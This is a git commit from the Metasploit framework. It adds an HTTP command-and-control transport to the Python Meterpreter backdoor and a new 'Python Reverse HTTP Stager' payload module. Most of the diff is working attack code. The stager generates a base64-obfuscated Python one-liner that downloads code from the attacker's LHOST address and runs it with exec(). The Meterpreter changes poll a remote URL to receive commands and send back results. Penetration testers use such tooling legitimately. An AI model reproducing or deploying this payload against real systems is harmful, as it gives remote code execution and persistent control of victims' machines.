Pymet reverse_http stager basic implementation

bug/bundler_fix
Spencer McIntyre 2014-11-14 14:15:46 -05:00
parent 6b2387b7fc
commit 681ae8ce6b
3 changed files with 132 additions and 18 deletions

View File

@ -60,9 +60,9 @@ if sys.version_info[0] < 3:
bytes = lambda *args: str(*args[:1]) bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00' NULL_BYTE = '\x00'
else: else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
is_bytes = lambda obj: issubclass(obj.__class__, bytes) is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8') str = lambda x: __builtins__.str(x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8') NULL_BYTE = bytes('\x00', 'UTF-8')
long = int long = int

View File

@ -19,7 +19,10 @@ else:
has_windll = hasattr(ctypes, 'windll') has_windll = hasattr(ctypes, 'windll')
try: try:
import urllib if sys.version_info[0] < 3:
urlopen = __import__('urllib', fromlist=['urlopen']).urlopen
else:
urlopen = __import__('urllib.request', fromlist=['urlopen']).urlopen
except ImportError: except ImportError:
has_urllib = False has_urllib = False
else: else:
@ -30,9 +33,11 @@ if sys.version_info[0] < 3:
bytes = lambda *args: str(*args[:1]) bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00' NULL_BYTE = '\x00'
else: else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
is_bytes = lambda obj: issubclass(obj.__class__, bytes) is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8') str = lambda x: __builtins__.str(x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8') NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
# #
# Constants # Constants
@ -294,12 +299,21 @@ export(STDProcess)
class PythonMeterpreter(object): class PythonMeterpreter(object):
def __init__(self, socket=None): def __init__(self, socket=None):
self.socket = socket self.socket = socket
self.driver = None
self.running = False
self.communications_active = True
self.communications_last = 0
if self.socket:
self.driver = 'tcp'
elif CONNECTION_URL:
self.driver = 'http'
self.extension_functions = {} self.extension_functions = {}
self.channels = {} self.channels = {}
self.interact_channels = [] self.interact_channels = []
self.processes = {} self.processes = {}
for func in list(filter(lambda x: x.startswith('_core'), dir(self))): for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func) self.extension_functions[func[1:]] = getattr(self, func)
if self.driver:
self.running = True self.running = True
def register_function(self, func): def register_function(self, func):
@ -327,24 +341,60 @@ class PythonMeterpreter(object):
return idx return idx
def get_packet(self): def get_packet(self):
request = None packet = getattr(self, 'get_packet_' + self.driver)()
self.communications_last = time.time()
if packet:
self.communications_active = True
return packet
def send_packet(self, packet):
getattr(self, 'send_packet_' + self.driver)(packet)
self.communications_last = time.time()
self.communications_active = True
def get_packet_http(self):
packet = None
try:
url_h = urlopen(CONNECTION_URL, bytes('RECV', 'UTF-8'))
packet = url_h.read()
except:
pass
if packet:
packet = packet[8:]
else:
packet = None
return packet
def send_packet_http(self, packet):
try:
url_h = urlopen(CONNECTION_URL, packet)
response = url_h.read()
except:
pass
def get_packet_tcp(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]): if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8) packet = self.socket.recv(8)
if len(request) != 8: if len(packet) != 8:
self.running = False self.running = False
return None return None
req_length, req_type = struct.unpack('>II', request) pkt_length, pkt_type = struct.unpack('>II', packet)
req_length -= 8 pkt_length -= 8
request = bytes() packet = bytes()
while len(request) < req_length: while len(packet) < pkt_length:
request += self.socket.recv(4096) packet += self.socket.recv(4096)
return request return packet
def send_packet(self, response): def send_packet_tcp(self, packet):
self.socket.send(response) self.socket.send(packet)
def run(self): def run(self):
while self.running: while self.running:
request = None
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
self.communications_active = False
if should_get_packet:
request = self.get_packet() request = self.get_packet()
if request: if request:
response = self.create_response(request) response = self.create_response(request)
@ -565,7 +615,7 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
except OSError: except OSError:
pass pass
if CONNECTION_URL and has_urllib: if CONNECTION_URL and has_urllib:
met = PythonMeterpreter(s) met = PythonMeterpreter()
else: else:
met = PythonMeterpreter(s) met = PythonMeterpreter(s)
met.run() met.run()

View File

@ -0,0 +1,64 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
module Metasploit3
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'http',
'Stager' => {'Payload' => ""}
))
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Constructs the payload
#
def generate
lhost = datastore['LHOST'] || Rex::Socket.source_address
target_url = 'http://'
target_url << lhost
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
cmd = "import sys\n"
cmd << "exec(__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=['urlopen']).urlopen('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end